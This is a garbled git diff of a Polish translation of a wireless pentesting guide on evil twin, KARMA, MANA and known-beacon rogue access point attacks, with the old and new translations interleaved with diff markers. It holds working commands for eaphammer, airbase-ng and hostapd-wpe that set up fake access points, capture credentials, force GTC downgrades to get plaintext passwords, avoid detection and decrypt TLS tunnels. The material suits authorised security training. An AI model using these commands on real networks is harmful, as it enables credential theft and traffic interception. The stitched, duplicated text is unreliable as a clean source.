Atak złośliwego bliźniaka wykorzystuje sposób, w jaki klienci WiFi rozpoznają sieci, głównie polegając na nazwie sieci (ESSID) bez konieczności uwierzytelniania się punktu dostępu (access point) wobec klienta. Kluczowe punkty obejmują:
|
||||
Atak evil twin wykorzystuje sposób, w jaki klienci WiFi rozpoznają sieci, polegając głównie na nazwie sieci (ESSID) bez konieczności uwierzytelniania stacji bazowej (punktu dostępowego) przez klienta. Kluczowe punkty to:
|
||||
|
||||
* **Trudności w różnicowaniu**: Urządzenia mają trudności z rozróżnieniem między prawdziwymi a fałszywymi punktami dostępu, gdy dzielą tę samą nazwę ESSID i typ szyfrowania. Sieci w świecie rzeczywistym często używają wielu punktów dostępu o tej samej nazwie ESSID, aby rozszerzyć zasięg bezproblemowo.
|
||||
* **Roaming klienta i manipulacja połączeniem**: Protokół 802.11 pozwala urządzeniom na przechodzenie między punktami dostępu w tej samej ESS. Atakujący mogą wykorzystać to, przyciągając urządzenie do rozłączenia się z obecnym punktem dostępu i połączenia się z fałszywym. Można to osiągnąć, oferując silniejszy sygnał lub zakłócając połączenie z prawdziwym punktem dostępu za pomocą metod takich jak pakiety deautoryzacyjne lub zakłócanie.
|
||||
* **Wyzwania w wykonaniu**: Skuteczne przeprowadzenie ataku złośliwego bliźniaka w środowiskach z wieloma dobrze rozmieszczonymi punktami dostępu może być trudne. Dezautoryzacja jednego prawdziwego punktu dostępu często skutkuje połączeniem urządzenia z innym prawdziwym punktem dostępu, chyba że atakujący może dezautoryzować wszystkie pobliskie punkty dostępu lub strategicznie umieścić fałszywy punkt dostępu.
|
||||
* **Trudności w rozróżnieniu**: Urządzenia mają trudności z odróżnieniem legalnych punktów dostępowych od nieautoryzowanych, gdy dzielą tę samą ESSID i typ szyfrowania. W rzeczywistych sieciach często używa się wielu punktów dostępowych z tą samą ESSID, aby płynnie rozszerzyć zasięg.
|
||||
* **Roaming klientów i manipulacja połączeniem**: Protokół 802.11 pozwala urządzeniom na roaming między punktami dostępowymi w tej samej ESS. Atakujący mogą to wykorzystać, kusząc urządzenie do rozłączenia się z aktualną stacją bazową i połączenia z nieautoryzowaną. Można to osiągnąć, oferując silniejszy sygnał lub zakłócając połączenie z legalnym punktem dostępowym za pomocą metod takich jak pakiety deautoryzacji lub zakłócanie.
|
||||
* **Wyzwania w realizacji**: Skuteczne przeprowadzenie ataku evil twin w środowiskach z wieloma, dobrze umiejscowionymi punktami dostępowymi może być trudne. Deautoryzacja jednego legalnego punktu dostępowego często skutkuje połączeniem urządzenia z innym legalnym punktem dostępowym, chyba że atakujący może deautoryzować wszystkie pobliskie punkty dostępowe lub strategicznie umieścić nieautoryzowany punkt dostępowy.
|
||||
|
||||
Możesz stworzyć bardzo podstawowego Złośliwego Bliźniaka Otwartego (bez możliwości przekierowania ruchu do Internetu) wykonując:
|
||||
Możesz stworzyć bardzo podstawowy Open Evil Twin (bez możliwości routowania ruchu do Internetu) wykonując:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
Możesz również stworzyć Złego Bliźniaka używając **eaphammer** (zauważ, że aby stworzyć złego bliźniaka za pomocą eaphammer, interfejs **NIE POWINIEN** być w trybie **monitor**):
|
||||
Możesz również stworzyć Evil Twin za pomocą **eaphammer** (zauważ, że aby stworzyć evil twins za pomocą eaphammer, interfejs **NIE powinien być** w trybie **monitor**):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
Lub używając Airgeddon: `Opcje: 5,6,7,8,9 (w menu ataku Evil Twin).`
|
||||
Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
|
||||
|
||||
![](<../../.gitbook/assets/image (1088).png>)
|
||||
|
||||
Proszę zauważyć, że domyślnie jeśli ESSID w PNL jest zapisany jako chroniony przez WPA, urządzenie nie będzie automatycznie łączyć się z otwartym złowrogim bliźniakiem. Możesz spróbować przeprowadzić atak DoS na prawdziwy AP i mieć nadzieję, że użytkownik połączy się ręcznie z Twoim otwartym złowrogim bliźniakiem, lub możesz przeprowadzić atak DoS na prawdziwy AP i użyć WPA Evil Twin do przechwycenia handshake (korzystając z tej metody nie będziesz mógł pozwolić ofierze połączyć się z Tobą, ponieważ nie znasz PSK, ale możesz przechwycić handshake i spróbować go złamać).
|
||||
Proszę zauważyć, że domyślnie, jeśli ESSID w PNL jest zapisany jako chroniony WPA, urządzenie nie połączy się automatycznie z otwartym evil Twin. Możesz spróbować DoS prawdziwego AP i mieć nadzieję, że użytkownik połączy się ręcznie z twoim otwartym evil twin, lub możesz DoS prawdziwego AP i użyć WPA Evil Twin, aby przechwycić handshake (używając tej metody nie będziesz w stanie pozwolić ofierze połączyć się z tobą, ponieważ nie znasz PSK, ale możesz przechwycić handshake i spróbować go złamać).
|
||||
|
||||
_Niektóre systemy operacyjne i oprogramowanie antywirusowe ostrzegą użytkownika, że połączenie z otwartą siecią jest niebezpieczne..._
|
||||
|
||||
### Złośliwy bliźniak WPA/WPA2
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
Możesz stworzyć **Złośliwego bliźniaka używając WPA/2** i jeśli urządzenia są skonfigurowane do łączenia się z tym SSID za pomocą WPA/2, będą próbować się połączyć. W każdym razie, **aby ukończyć 4-stopniowy handshake**, musisz również **znać** **hasło**, które klient zamierza użyć. Jeśli go **nie znasz**, **połączenie nie zostanie ukończone**.
|
||||
Możesz stworzyć **Evil Twin używając WPA/2** i jeśli urządzenia są skonfigurowane do łączenia się z tym SSID za pomocą WPA/2, będą próbować się połączyć. Tak czy inaczej, **aby zakończyć 4-way-handshake** musisz również **znać** **hasło**, które klient zamierza użyć. Jeśli **nie znasz** go, **połączenie nie zostanie zakończone**.
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
### Enterprise Evil Twin
|
||||
|
||||
Aby zrozumieć te ataki, zalecam przeczytanie krótkiego [wyjaśnienia WPA Enterprise](./#wpa-enterprise-mgt).
|
||||
Aby zrozumieć te ataki, zalecałbym przeczytanie wcześniej krótkiego [wyjaśnienia WPA Enterprise](./#wpa-enterprise-mgt).
|
||||
|
||||
**Korzystanie z hostapd-wpe**
|
||||
**Używając hostapd-wpe**
|
||||
|
||||
`hostapd-wpe` wymaga pliku **konfiguracyjnego**, aby działać. Aby **zautomatyzować** generowanie tych konfiguracji, można skorzystać z [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (pobierz plik pythona wewnątrz _/etc/hostapd-wpe/_).
|
||||
`hostapd-wpe` potrzebuje pliku **konfiguracyjnego**, aby działać. Aby **zautomatyzować** generowanie tych konfiguracji, możesz użyć [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (pobierz plik python w _/etc/hostapd-wpe/_).
|
||||
```bash
|
||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
W pliku konfiguracyjnym możesz wybrać wiele różnych rzeczy, takich jak ssid, kanał, pliki użytkownika, cret/key, parametry dh, wersja wpa i autoryzacja...
|
||||
W pliku konfiguracyjnym możesz wybrać wiele różnych rzeczy, takich jak ssid, kanał, pliki użytkowników, cret/klucz, parametry dh, wersja wpa i autoryzacja...
|
||||
|
||||
[**Korzystanie z hostapd-wpe z EAP-TLS, aby umożliwić logowanie dowolnemu certyfikatowi.**](evil-twin-eap-tls.md)
|
||||
[**Używanie hostapd-wpe z EAP-TLS, aby umożliwić logowanie za pomocą dowolnego certyfikatu.**](evil-twin-eap-tls.md)
|
||||
|
||||
**Korzystanie z EAPHammer**
|
||||
**Używanie EAPHammer**
|
||||
```bash
|
||||
# Generate Certificates
|
||||
./eaphammer --cert-wizard
|
||||
|
@ -587,60 +590,60 @@ W pliku konfiguracyjnym możesz wybrać wiele różnych rzeczy, takich jak ssid,
|
|||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
Domyślnie EAPHammer wykorzystuje te metody uwierzytelniania (zauważ GTC jako pierwszą do próby uzyskania haseł w postaci zwykłego tekstu, a następnie korzysta z bardziej solidnych metod uwierzytelniania):
|
||||
Domyślnie EAPHammer proponuje te metody uwierzytelniania (zauważ GTC jako pierwszą do próby uzyskania haseł w postaci czystego tekstu, a następnie użycie bardziej solidnych metod uwierzytelniania):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
To jest domyślna metodyka zapobiegająca długim czasom połączenia. Możesz jednak również określić serwerowi metody uwierzytelniania od najmniej do najbardziej wytrzymałych:
|
||||
To jest domyślna metodologia, aby uniknąć długich czasów połączenia. Możesz jednak również określić serwerowi metody uwierzytelniania od najsłabszej do najsilniejszej:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
lub można również użyć:
|
||||
Or you could also use:
|
||||
|
||||
* `--negotiate gtc-downgrade` aby skorzystać z bardzo wydajnej implementacji obniżania GTC (hasła w postaci tekstu jawnego)
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` aby ręcznie określić oferowane metody (oferowanie tych samych metod uwierzytelniania w tej samej kolejności co organizacja, którą atakujemy, sprawi, że atak będzie znacznie trudniejszy do wykrycia).
|
||||
* [Znajdź więcej informacji w wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
* `--negotiate gtc-downgrade` aby użyć wysoce wydajnej implementacji GTC downgrade (hasła w postaci czystego tekstu)
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` aby ręcznie określić oferowane metody (oferowanie tych samych metod autoryzacji w tej samej kolejności, co organizacja, znacznie utrudni wykrycie ataku).
|
||||
* [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**Korzystanie z Airgeddon**
|
||||
**Using Airgeddon**
|
||||
|
||||
`Airgeddon` może użyć wcześniej wygenerowanych certyfikatów do zaoferowania uwierzytelniania EAP w sieciach WPA/WPA2-Enterprise. Fałszywa sieć obniży protokół połączenia do EAP-MD5, dzięki czemu będzie można **przechwycić użytkownika i MD5 hasła**. Później atakujący może spróbować złamać hasło.\
|
||||
`Airggedon` oferuje możliwość **ciągłego ataku Evil Twin (hałaśliwy)** lub **tylko stworzenia ataku Evil Twin do momentu podłączenia się kogoś (gładki).**
|
||||
`Airgeddon` może używać wcześniej wygenerowanych certyfikatów do oferowania autoryzacji EAP w sieciach WPA/WPA2-Enterprise. Fałszywa sieć obniży protokół połączenia do EAP-MD5, aby móc **przechwycić użytkownika i MD5 hasła**. Później atakujący może spróbować złamać hasło.\
|
||||
`Airgeddon` oferuje możliwość **ciągłego ataku Evil Twin (hałaśliwego)** lub **tylko stworzenia ataku Evil do momentu, gdy ktoś się połączy (cichego).**
|
||||
|
||||
![](<../../.gitbook/assets/image (936).png>)
|
||||
|
||||
### Debugowanie tuneli TLS PEAP i EAP-TTLS w atakach Evil Twin
|
||||
### Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
|
||||
|
||||
_Ta metoda została przetestowana w połączeniu PEAP, ale ponieważ deszyfrowuję dowolny tunel TLS, powinna działać również z EAP-TTLS_
|
||||
_Ta metoda została przetestowana w połączeniu PEAP, ale ponieważ odszyfrowuję dowolny tunel TLS, powinna również działać z EAP-TTLS_
|
||||
|
||||
W **konfiguracji** _hostapd-wpe_ **zakomentuj** linijkę zawierającą _**dh\_file**_ (od `dh_file=/etc/hostapd-wpe/certs/dh` do `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
Spowoduje to, że `hostapd-wpe` będzie **wymieniać klucze za pomocą RSA** zamiast DH, dzięki czemu będziesz mógł **deszyfrować** ruch później, **znając prywatny klucz serwera**.
|
||||
W **konfiguracji** _hostapd-wpe_ **zakomentuj** linię, która zawiera _**dh\_file**_ (z `dh_file=/etc/hostapd-wpe/certs/dh` na `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
To spowoduje, że `hostapd-wpe` **wymieni klucze używając RSA** zamiast DH, więc będziesz mógł **odszyfrować** ruch później **znając prywatny klucz serwera**.
|
||||
|
||||
Teraz uruchom **Evil Twin** używając **`hostapd-wpe`** z tą zmodyfikowaną konfiguracją jak zwykle. Uruchom również **`wireshark`** na **interfejsie**, który wykonuje atak Evil Twin.
|
||||
Teraz uruchom **Evil Twin** używając **`hostapd-wpe`** z tą zmodyfikowaną konfiguracją jak zwykle. Uruchom również **`wireshark`** w **interfejsie**, który wykonuje atak Evil Twin.
|
||||
|
||||
Teraz lub później (gdy już przechwycisz pewne próby uwierzytelnienia) możesz dodać prywatny klucz RSA do wiresharka w: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
Teraz lub później (gdy już przechwyciłeś kilka prób autoryzacji) możesz dodać prywatny klucz RSA do wireshark w: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
Dodaj nowy wpis i wypełnij formularz tymi wartościami: **Adres IP = any** -- **Port = 0** -- **Protokół = data** -- **Plik klucza** (**wybierz swój plik klucza**, aby uniknąć problemów wybierz plik klucza **bez zabezpieczenia hasłem**).
|
||||
Dodaj nowy wpis i wypełnij formularz tymi wartościami: **Adres IP = dowolny** -- **Port = 0** -- **Protokół = data** -- **Plik klucza** (**wybierz swój plik klucza**, aby uniknąć problemów, wybierz plik klucza **bez ochrony hasłem**).
|
||||
|
||||
![](<../../.gitbook/assets/image (687).png>)
|
||||
|
||||
I spójrz na nową zakładkę **"Decrypted TLS"**:
|
||||
I spójrz na nową **zakładkę "Decrypted TLS"**:
|
||||
|
||||
![](<../../.gitbook/assets/image (231).png>)
|
||||
|
||||
## Atak KARMA, MANA, Loud MANA i znane beacony
|
||||
## KARMA, MANA, Loud MANA i atak na znane beacony
|
||||
|
||||
### Czarne i białe listy ESSID i MAC
|
||||
### ESSID i czarne/białe listy MAC
|
||||
|
||||
Różne rodzaje list filtrów dostępu do kontrolki dostępu do mediów (MFACLs) i odpowiadające im tryby oraz efekty zachowania rogue Access Point (AP):
|
||||
Różne typy list filtrów dostępu do mediów (MFACL) oraz ich odpowiadające tryby i efekty na zachowanie fałszywego punktu dostępu (AP):
|
||||
|
||||
1. **Lista białych MAC**:
|
||||
* Rogue AP będzie odpowiadać tylko na żądania sondy od urządzeń wymienionych na liście białych, pozostając niewidocznym dla wszystkich innych nieuwzględnionych.
|
||||
2. **Lista czarnych MAC**:
|
||||
* Rogue AP zignoruje żądania sondy od urządzeń na czarnej liście, efektywnie sprawiając, że rogue AP będzie niewidoczny dla tych konkretnych urządzeń.
|
||||
3. **Lista białych SSID**:
|
||||
* Rogue AP będzie odpowiadać na żądania sondy tylko dla określonych ESSID wymienionych na liście, sprawiając, że będzie niewidoczny dla urządzeń, których lista preferowanych sieci (PNLs) nie zawiera tych ESSID.
|
||||
4. **Lista czarnych SSID**:
|
||||
* Rogue AP nie będzie odpowiadać na żądania sondy dla określonych ESSID na czarnej liście, sprawiając, że będzie niewidoczny dla urządzeń poszukujących tych konkretnych sieci.
|
||||
1. **Biała lista oparta na MAC**:
|
||||
* Fałszywy AP będzie odpowiadał tylko na zapytania probe od urządzeń określonych na białej liście, pozostając niewidoczny dla wszystkich innych, które nie są wymienione.
|
||||
2. **Czarna lista oparta na MAC**:
|
||||
* Fałszywy AP zignoruje zapytania probe od urządzeń na czarnej liście, skutecznie czyniąc fałszywego AP niewidocznym dla tych konkretnych urządzeń.
|
||||
3. **Biała lista oparta na SSID**:
|
||||
* Fałszywy AP będzie odpowiadał na zapytania probe tylko dla określonych ESSID-ów wymienionych na liście, czyniąc go niewidocznym dla urządzeń, których preferencyjne listy sieci (PNL) nie zawierają tych ESSID-ów.
|
||||
4. **Czarna lista oparta na SSID**:
|
||||
* Fałszywy AP nie będzie odpowiadał na zapytania probe dla konkretnych ESSID-ów na czarnej liście, czyniąc go niewidocznym dla urządzeń poszukujących tych konkretnych sieci.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
|
@ -662,33 +665,33 @@ name3
|
|||
```
|
||||
### KARMA
|
||||
|
||||
Ta metoda pozwala **atakującemu stworzyć złośliwy punkt dostępu (AP), który odpowiada na wszystkie żądania sondy** od urządzeń poszukujących połączenia do sieci. Ta technika **oszukuje urządzenia, aby połączyły się z AP atakującego**, naśladując sieci, których poszukują urządzenia. Gdy urządzenie wysyła żądanie połączenia do tego fałszywego AP, nawiązuje połączenie, prowadząc do błędnego połączenia urządzenia z siecią atakującego.
|
||||
Ta metoda pozwala **atakującemu na stworzenie złośliwego punktu dostępowego (AP), który odpowiada na wszystkie zapytania probe** od urządzeń próbujących połączyć się z sieciami. Ta technika **oszukuje urządzenia, zmuszając je do połączenia się z AP atakującego** poprzez naśladowanie sieci, których urządzenia szukają. Gdy urządzenie wysyła żądanie połączenia do tego fałszywego AP, nawiązuje połączenie, co prowadzi do błędnego połączenia urządzenia z siecią atakującego.
|
||||
|
||||
### MANA
|
||||
|
||||
Następnie **urządzenia zaczęły ignorować niechciane odpowiedzi sieciowe**, zmniejszając skuteczność pierwotnego ataku karma. Jednak nowa metoda, znana jako **atak MANA**, została wprowadzona przez Iana de Villiersa i Dominica White'a. Ta metoda polega na tym, że złośliwy AP **przechwytuje Listy Preferowanych Sieci (PNL) z urządzeń, odpowiadając na ich rozgłoszeniowe żądania sondy** nazwami sieci (SSID), które wcześniej były poszukiwane przez urządzenia. Ten zaawansowany atak omija zabezpieczenia przed pierwotnym atakiem karma, wykorzystując sposób, w jaki urządzenia zapamiętują i priorytetują znane sieci.
|
||||
Następnie **urządzenia zaczęły ignorować niezamówione odpowiedzi sieciowe**, co zmniejszyło skuteczność pierwotnego ataku karma. Jednak nowa metoda, znana jako **atak MANA**, została wprowadzona przez Iana de Villiersa i Dominica White'a. Metoda ta polega na tym, że fałszywy AP **przechwytuje listy preferowanych sieci (PNL) z urządzeń, odpowiadając na ich rozgłoszone zapytania probe** nazwami sieci (SSID), które wcześniej były żądane przez urządzenia. Ten zaawansowany atak omija zabezpieczenia przed pierwotnym atakiem karma, wykorzystując sposób, w jaki urządzenia zapamiętują i priorytetyzują znane sieci.
|
||||
|
||||
Atak MANA działa poprzez monitorowanie zarówno skierowanych, jak i rozgłoszeniowych żądań sondy od urządzeń. Dla żądań skierowanych, rejestruje adres MAC urządzenia i nazwę żądanej sieci, dodając te informacje do listy. Gdy otrzymuje żądanie rozgłoszeniowe, AP odpowiada informacjami pasującymi do którejkolwiek z sieci znajdujących się na liście urządzenia, zachęcając urządzenie do połączenia z złośliwym AP.
|
||||
Atak MANA działa, monitorując zarówno skierowane, jak i rozgłoszone zapytania probe z urządzeń. W przypadku skierowanych zapytań rejestruje adres MAC urządzenia oraz żądaną nazwę sieci, dodając te informacje do listy. Gdy otrzymane zostanie zapytanie rozgłoszone, AP odpowiada informacjami odpowiadającymi którejkolwiek z sieci na liście urządzenia, zachęcając urządzenie do połączenia się z fałszywym AP.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Głośny atak MANA
|
||||
### Loud MANA
|
||||
|
||||
**Atak Loud MANA** to zaawansowana strategia stosowana w sytuacjach, gdy urządzenia nie korzystają z kierowanych prób lub gdy ich Listy Preferowanych Sieci (PNL) są nieznane dla atakującego. Działa on na zasadzie, że **urządzenia w tym samym obszarze prawdopodobnie będą miały pewne nazwy sieci w swoich PNL**. Zamiast odpowiadać selektywnie, ten atak nadaje odpowiedzi na próby dla każdej nazwy sieci (ESSID) znalezionej w połączonych PNL wszystkich obserwowanych urządzeń. To szerokie podejście zwiększa szansę, że urządzenie rozpozna znajomą sieć i spróbuje połączyć się z podstępnym punktem dostępu (AP).
|
||||
Atak **Loud MANA** to zaawansowana strategia, gdy urządzenia nie używają kierunkowego przeszukiwania lub gdy ich Lista Preferowanych Sieci (PNL) jest nieznana atakującemu. Działa na zasadzie, że **urządzenia w tym samym obszarze prawdopodobnie dzielą niektóre nazwy sieci w swoich PNL**. Zamiast odpowiadać selektywnie, ten atak nadaje odpowiedzi na zapytania dla każdej nazwy sieci (ESSID) znalezionej w połączonych PNL wszystkich obserwowanych urządzeń. To szerokie podejście zwiększa szansę, że urządzenie rozpozna znajomą sieć i spróbuje połączyć się z fałszywym punktem dostępowym (AP).
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Znany atak Beacon
|
||||
### Known Beacon attack
|
||||
|
||||
Kiedy atak **Loud MANA** może nie wystarczyć, atak **Znany Beacon** prezentuje inne podejście. Ta metoda **siłowo wymusza proces połączenia, symulując AP odpowiadający na dowolną nazwę sieci, przechodząc przez listę potencjalnych ESSIDów** pochodzących z listy słów. Symuluje to obecność licznych sieci, mając nadzieję dopasować ESSID w PNL ofiary, co skłania do próby połączenia z sfałszowanym AP. Atak można wzmocnić, łącząc go z opcją `--loud`, aby bardziej agresywnie zwabić urządzenia.
|
||||
Gdy **Loud MANA attack** może nie wystarczyć, **Known Beacon attack** przedstawia inne podejście. Ta metoda **brute-forces proces połączenia, symulując AP, który odpowiada na dowolną nazwę sieci, przechodząc przez listę potencjalnych ESSID-ów** pochodzących z listy słów. To symuluje obecność licznych sieci, mając nadzieję na dopasowanie ESSID w PNL ofiary, co skłania do próby połączenia z fałszywym AP. Atak można wzmocnić, łącząc go z opcją `--loud` w celu bardziej agresywnej próby przechwycenia urządzeń.
|
||||
|
||||
Eaphammer zaimplementował ten atak jako atak MANA, w którym wszystkie ESSIDy z listy są ładowane (można także połączyć to z `--loud`, aby stworzyć atak Loud MANA + Znane beacony):
|
||||
Eaphammer zaimplementował ten atak jako atak MANA, w którym wszystkie ESSID-y z listy są ładowane (możesz również połączyć to z `--loud`, aby stworzyć atak Loud MANA + Known beacons):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
**Atak znany jako Known Beacon Burst**
|
||||
**Atak znanego wybuchu sygnału**
|
||||
|
||||
Atak **Known Beacon Burst** polega na **szybkim nadawaniu ramek beacon dla każdego ESSID wymienionego w pliku**. Tworzy to gęste środowisko fałszywych sieci, znacznie zwiększając prawdopodobieństwo podłączenia się urządzeń do podstępnej AP, zwłaszcza gdy jest to połączone z atakiem MANA. Ta technika wykorzystuje prędkość i ilość, aby przytłoczyć mechanizmy wyboru sieci urządzeń.
|
||||
Atak **znanego wybuchu sygnału** polega na **szybkiej transmisji ramek sygnałowych dla każdego ESSID wymienionego w pliku**. Tworzy to gęste środowisko fałszywych sieci, znacznie zwiększając prawdopodobieństwo, że urządzenia połączą się z nieautoryzowanym punktem dostępowym, szczególnie w połączeniu z atakiem MANA. Technika ta wykorzystuje szybkość i objętość, aby przytłoczyć mechanizmy wyboru sieci urządzeń.
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
|
@ -699,21 +702,21 @@ Atak **Known Beacon Burst** polega na **szybkim nadawaniu ramek beacon dla każd
|
|||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct** to protokół umożliwiający urządzeniom bezpośrednie połączenie ze sobą za pomocą Wi-Fi, bez konieczności tradycyjnego punktu dostępu bezprzewodowego. Ta funkcjonalność jest zintegrowana w różne urządzenia Internetu Rzeczy (IoT), takie jak drukarki i telewizory, ułatwiając bezpośrednią komunikację urządzeń. Istotną cechą Wi-Fi Direct jest to, że jedno urządzenie przejmuje rolę punktu dostępu, znanego jako właściciel grupy, aby zarządzać połączeniem.
|
||||
**Wi-Fi Direct** to protokół umożliwiający urządzeniom bezpośrednie łączenie się ze sobą za pomocą Wi-Fi, bez potrzeby tradycyjnego punktu dostępowego. Ta funkcjonalność jest zintegrowana w różnych urządzeniach Internetu Rzeczy (IoT), takich jak drukarki i telewizory, ułatwiając bezpośrednią komunikację między urządzeniami. Ciekawą cechą Wi-Fi Direct jest to, że jedno urządzenie pełni rolę punktu dostępowego, znanego jako właściciel grupy, aby zarządzać połączeniem.
|
||||
|
||||
Bezpieczeństwo połączeń Wi-Fi Direct jest ustanawiane za pomocą **Wi-Fi Protected Setup (WPS)**, który obsługuje kilka metod bezpiecznego parowania, w tym:
|
||||
Bezpieczeństwo połączeń Wi-Fi Direct jest ustanawiane za pomocą **Wi-Fi Protected Setup (WPS)**, które wspiera kilka metod bezpiecznego parowania, w tym:
|
||||
|
||||
* **Konfiguracja za pomocą przycisku (PBC)**
|
||||
* **Wprowadzanie PIN-u**
|
||||
* **Komunikacja w polu bliskiego zasięgu (NFC)**
|
||||
* **Konfiguracja przyciskiem (PBC)**
|
||||
* **Wprowadzenie PIN-u**
|
||||
* **Komunikacja w bliskim zasięgu (NFC)**
|
||||
|
||||
Te metody, zwłaszcza wprowadzanie PIN-u, są podatne na te same podatności co WPS w tradycyjnych sieciach Wi-Fi, co czyni je celem podobnych wektorów ataku.
|
||||
Metody te, szczególnie wprowadzenie PIN-u, są podatne na te same luki jak WPS w tradycyjnych sieciach Wi-Fi, co czyni je celem dla podobnych wektorów ataku.
|
||||
|
||||
### Przechwytywanie EvilDirect
|
||||
### EvilDirect Hijacking
|
||||
|
||||
**Przechwytywanie EvilDirect** to atak specyficzny dla Wi-Fi Direct. Odzwierciedla koncepcję ataku Evil Twin, ale celuje w połączenia Wi-Fi Direct. W tym scenariuszu atakujący podszywa się pod prawowitego właściciela grupy w celu oszukania urządzeń i zmuszenia ich do połączenia się z złośliwą jednostką. Ten sposób działania można zrealizować za pomocą narzędzi takich jak `airbase-ng`, podając kanał, ESSID i adres MAC podszywanego urządzenia:
|
||||
**EvilDirect Hijacking** to atak specyficzny dla Wi-Fi Direct. Odbija koncepcję ataku Evil Twin, ale celuje w połączenia Wi-Fi Direct. W tym scenariuszu atakujący podszywa się pod legalnego właściciela grupy, mając na celu oszukanie urządzeń, aby połączyły się z złośliwym podmiotem. Metoda ta może być realizowana za pomocą narzędzi takich jak `airbase-ng`, określając kanał, ESSID i adres MAC podszywanego urządzenia:
|
||||
|
||||
## Odnośniki
|
||||
## References
|
||||
|
||||
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
|
||||
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
|
||||
|
@ -726,33 +729,34 @@ Te metody, zwłaszcza wprowadzanie PIN-u, są podatne na te same podatności co
|
|||
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
|
||||
TODO: Sprawdź [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (logowanie za pomocą Facebooka i imitacja WPA w portalach typu captive)
|
||||
TODO: Sprawdź [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (logowanie przez Facebooka i imitacja WPA w portalach przechwytujących)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bugów!
|
||||
|
||||
**Spostrzeżenia dotyczące hakerstwa**\
|
||||
Zanurz się w treściach, które zgłębiają emocje i wyzwania hakerstwa
|
||||
**Hacking Insights**\
|
||||
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||
|
||||
**Aktualności hakerskie na żywo**\
|
||||
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnościom i spostrzeżeniom na żywo
|
||||
**Real-Time Hack News**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki wiadomościom i spostrzeżeniom w czasie rzeczywistym
|
||||
|
||||
**Najnowsze ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
|
||||
**Latest Announcements**\
|
||||
Bądź na bieżąco z najnowszymi nagrodami za błędy oraz istotnymi aktualizacjami platformy
|
||||
|
||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
